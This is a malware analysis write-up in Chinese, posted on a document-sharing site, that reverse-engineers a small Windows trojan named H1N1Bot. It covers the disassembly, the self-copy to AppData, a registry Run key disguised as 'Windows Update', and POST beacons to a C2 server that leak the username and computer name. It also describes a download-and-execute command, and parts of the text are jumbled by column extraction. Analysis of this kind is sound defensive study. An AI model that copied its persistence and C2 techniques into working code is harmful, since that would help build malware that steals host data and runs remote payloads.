《完整版-木马分析(共8页).doc》由会员分享,可在线阅读,更多相关《完整版-木马分析(共8页).doc(8页珍藏版)》请在taowenge.com淘文阁网|工程机械CAD图纸|机械工程制图|CAD装配图下载|SolidWorks_CaTia_CAD_UG_PROE_设计图分享下载上搜索。
1、精选优质文档-倾情为你奉上完整版-木马分析一个木马的分析 第一次详细分析木马,不足之处请见谅。 这个木马一共4KB,是个比较简单的程序,所以分析起来也不是很难。下面开始正式分析。 这是程序的主题函数,一进来就是三个初始化的call,然后就是一个大的循环,程序就是在这个循环之中不停的运行着。 跟进第一个call: 函数首先创建了一个hObject变量用于存放创建的互斥对象句柄。mov ebp+hObject, start proc near eax就是将创建的互斥句柄传送到call sub_hObject中。这里是创建了一个名为 call sub_ H1N1Bot的互斥对象。然后调用 call
2、sub_4011AE loc_4014C4: GetLastError得到错误码这里加call sub_4013D5 入程序已经有一份实例在运行了则 call sub_40143F push 0EA60h ; 这个互斥对象就是创建过了的就是dwMilliseconds 得到错误代码为0B7h的值。通过查 call Sleep 询msdn发现:0b7h含义是Cannot jmp short loc_4014C4 start endp create a file when that file already exists.所以这样就防止了木马程序同时打开了多份。当返回值是0B7h的时候调用Exit
3、Process退出程序。总结来说这个call就是检查程序是否已经打开要是打开过了就退出。 进入的call,由于这hObject = dword ptr -4 个函数代码过多,就不贴详细的.text: 代码了。函数定义了两个局部字.text: push ebp 符串数组ExistingFileName,.text: mov ebp, esp String2(这里是ida分析给出的名.text: add esp, 0FFFFFFFCh 字)和一个文件指针。函数先将.text: push offset Name ; 这两个数组用零填充,然后调用H1N1Bot GetModuleFileNameA得到
4、当前.text:C push 0 ; 程序的完整路径,并将结果存放bInitialOwner 在ExistingFileName中。在调用.text:E push 0 ; SHGetFolderPathA并将结果存lpMutexAttributes 放在String2中。 .text: call CreateMutexA SHGetFolderPathA可以获.text: mov ebp+hObject, eax 取系统文件夹,这里他的参数值.text: call GetLastError 是0x1c。 .text:D cmp eax, 0B7h Const .text:A2 jz short
5、 loc_4014A6 CSIDL_LOCAL_APPDATAH1C调用ExitProcess退出程序. (用户)本地设置应用程序数.text:A4 leave 据。即如果以administration身.text:A5 retn 份登录获得的是C:DocumentsandSettingsAdministratorLocal SettingsApplicaton Data路径。 然后调用lstrcatA这个函数在String2的后面加上winvv.exe。然后比较String2和ExistingFileName是否相同,不同则把自身复制到ExistingFileName中,最后运行复制 过去的
6、文件,自身退出。 总体来讲第二个call就是路径检查的。 3. 进入4011AE的call,这个函数就是实现程序的开机运行,手法也很简单。就是在注册表中创建键值。位置在SoftwareMicrosoftWindowsCurrentVersionRun,键值叫做Windows Update,其迷惑作用。 4(下面我们进入这个木马的核心程序。大循环。4013D5的call sub_4013D5 proc near lpString = dword ptr -4 push ebp mov ebp, esp add esp, -4 push 40h ; flProtect push 1000h ; f
7、lAllocationType push 512 ; dwSize push 0 ; lpAddress call VirtualAlloc ; 申请内存 mov ebp+lpString, eax ; 内存首地址存到局部变量里 mov dword ptr eax, edom add eax, 4 mov dword ptr eax, i&2= add eax, 4 mov dword ptr eax, tned add eax, 4 mov byte ptr eax, = inc eax ; 向buffer中填充mode=2&ident=(注意顺序) push eax push eax ;
8、lpString call sub_40138B ; 向buffer追加当前系统用户名,并返回用户名长度 mov ecx, eax pop eax add eax, ecx push eax ; eax始终保持指向字符串的末尾 push eax ; lpString call sub_4013B0 ; 获取计算机名,并追加到buffer中,返回计算机名长度 push ebp+lpString此时buffer内容为mode=2&ident=AdministratorPC-4 push ebp+lpString ; lpString call sub_ 关键call push 8000h ; dw
9、FreeType push 0 ; dwSize push ebp+lpString ; lpAddress call VirtualFree 程序首先构造了一个字符串mode=XX&ident=XX(XX表示生成的数据),然后调用的函数。这个函数是构造了一个网络请求,并向指定的网站发送post请求。用到的函数有InternetOpenA,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,InternetReadFile。 用抓包软件可以分析出我电脑上post的数据. POST /admin/bot.php HTTP/1.1 Content-
10、Type: application/x-www-form-urlencoded User-Agent: myAgent Host: mmmbsbt.co.cc Content-Length: 26 Cache-Control: no-cache mode=2&ident=studentCSE029 (studentCSE029为我电脑上的用户名) 此时对方并未返回数据,可能只是需要向服务器post一下数据而已。 到此这个大函数的任务完成,于是返回。 然后进入40143F的函数。 sub_40143F proc near lpString = dword ptr -4 push ebp mov
11、ebp, esp add esp, 0FFFFFFFCh push 40h ; flProtect push 1000h ; flAllocationType push 200h ; dwSize push 0 ; lpAddress call VirtualAlloc 申请缓冲区 mov ebp+lpString, eax push ebp+lpString ; int push offset String ; mode=1 call sub_ 调用post数据的函数 push ebp+lpString ; lpString call sub_40134E ; 处理命令 push 8000h
12、 ; dwFreeType push 0 ; dwSize push ebp+lpString ; lpAddress call VirtualFree leave retn sub_40143F endp 这个函数也只有两个重点处,调用0x处的函数,这个函数刚刚用过,传入两个参数,函数将服务器返回的数据存放在第一个参数中,第二个参数仅仅是需要post的数据。 POST /admin/bot.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: myAgent Host: mmmbsbt.co.cc C
13、ontent-Length: 6 Cache-Control: no-cache mode=1 这是post的数据,mode参数变成了1,但是服务器什么也没返回。所以返回数据只能之际分析程序了。 下面我们进入处理服务器返回数据的函数0x40134E。这是这个函数的流程图。接收到的命令有三种clo,rem,bwn。 当命令为clo,调用0x处的函数,就是调用ExitProcess退出程序。 当命令为rem,先调用0x40117A处的函数,再调用0x处的函数。 当命令为bwn,调用0x4012A1处的函数。 0x40117A处的函数是清楚开机运行的注册表信息。 0x4012A1处的函数: 从参数中分解出需要下载的文件字符串和下载后存储的文件名,然后调用URLDownloadToFileA下载文件,再调用ShellExecuteA运行它,都是常规的手法。到此这个函数的功能叶介绍玩了。返回到最开始的大循环中, push 60000 ; dwMilliseconds call Sleep 调用Sleep函数,程序先挂起1分钟,然后再循环。 总体来说这个程序的功能是比较简单的就是到指定的网站上接受相应的命令在做出相应的处理。只不过在这个杀软看守很严的年代已经没有它的存活空间了第一次分析木马有些简单了哈哈。专心-专注-专业